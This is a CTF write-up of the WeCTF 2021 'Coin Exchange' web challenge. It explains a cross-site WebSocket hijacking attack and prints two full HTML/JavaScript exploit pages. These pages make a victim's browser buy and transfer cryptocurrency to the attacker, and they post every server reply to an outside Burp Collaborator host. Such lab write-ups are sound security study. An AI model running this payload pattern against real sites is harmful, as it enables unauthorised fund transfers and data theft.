Hi everyone! C:
After lot of months I’m posting here again! I played the WeCTF 2021(a only-web CTF) with my team, we got #25/574 place and the challs were awesome. I’m finally studying web vulns and now had a chance to apply that.
Description
62 solves / 379 pts
Shou lost a few thousand bucks on cryptocurrency. So, he decided to fake a crypto exchange and steal all the money of the users next week. Try break Shou’s evil plan by stealing all his money.
This challenge requires user interaction. Send your payload to uv.ctf.so Flag is sent when you have $5000 in the account.
Hint: Search CSRF if you don’t know what that is.
Host 1 (San Francisco): coin.sf.ctf.so:4001 Host 2 (Los Angeles): coin.la.ctf.so:4001 Host 3 (New York): coin.ny.ctf.so:4001 Host 4 (Singapore): coin.sg.ctf.so:4001
Source Code: here
Coin Exchange Website
Login
Exchange
Ranking
Transfer
Solution
This site uses Websocket instead http requests and isn’t protected to CSRF, so basically we need to send to admin a malicious website with CSWSH (Cross-site websocket hijacking) to transfer eth to our account.
By intercepting with BurpSuite and seeing on WebSockets history
, we can read the traffic:
By Checking the source, we can see how the connection is created:
function start_socket(){
socket = new WebSocket("ws://" + document.URL.substr(7).split('/')[0], "ethexchange-api");
socket.onopen = function(e) {
routine = setInterval(routine_update, 1000)
};
socket.onmessage = function(event) {
.
.
.
}
}
On second line we can see that it uses a custom protocol called ethexchange-api
, this will be important to connect.
By send a page to admin, I’m using ngrok
with python SimpleHTTPServer
and receiving the response with Burp Collaborator
.
Let’s try send a exploit to admin that transfer 3 Eth to our account…
<!DOCTYPE html>
<html>
<body>
<script>
var transfer = {"type":"transfer","content":{"amount":"3","to_token":"34450f23a163a464c4b852331ac7fe0f0f531a136f6707c02f4248ebf9f98d7c"}}
const socket = new WebSocket('ws://coin.ny.ctf.so:4001/', "ethexchange-api");
socket.onopen = function(e) {
socket.send(JSON.stringify(transfer));
}
socket.onmessage = function(event) {
fetch("http://81700rdv5a7etyhroodd98fodfj57u.burpcollaborator.net", {method: "POST", mode: 'cors', body: event.data}).then(response => {console.log(response.json())});
}
</script>
</body>
</html>
Sending…
Badly, the admin doesn’t have Eth, so we need to buy with his money(on Ranking Page show that the admin had $1000000000000
).
<!DOCTYPE html>
<html>
<body>
<script>
var transfer = {"type":"transfer","content":{"amount":"3","to_token":"34450f23a163a464c4b852331ac7fe0f0f531a136f6707c02f4248ebf9f98d7c"}}
var buy = {"type":"buy","content":{"amount":"7000"}}
const socket = new WebSocket('ws://coin.ny.ctf.so:4001/', "ethexchange-api");
socket.onopen = function(e) {
socket.send(JSON.stringify(buy));
socket.send(JSON.stringify(buy));
socket.send(JSON.stringify(buy));
socket.send(JSON.stringify(transfer));
}
socket.onmessage = function(event) {
fetch("http://81700rdv5a7etyhroodd98fodfj57u.burpcollaborator.net", {method: "POST", mode: 'cors', body: event.data}).then(response => {console.log(response.json())});
}
</script>
</body>
</html>
By sending again to admin, we can see that we transferred 3 eth after buy it 3 times with $7000.
By intercepting again after we got more than $5000 on our account:
We got the flag: we{1e1b12c8-ed85-4b2b-879d-7475febe6281@d0g3&sh1b_th3_BEST!}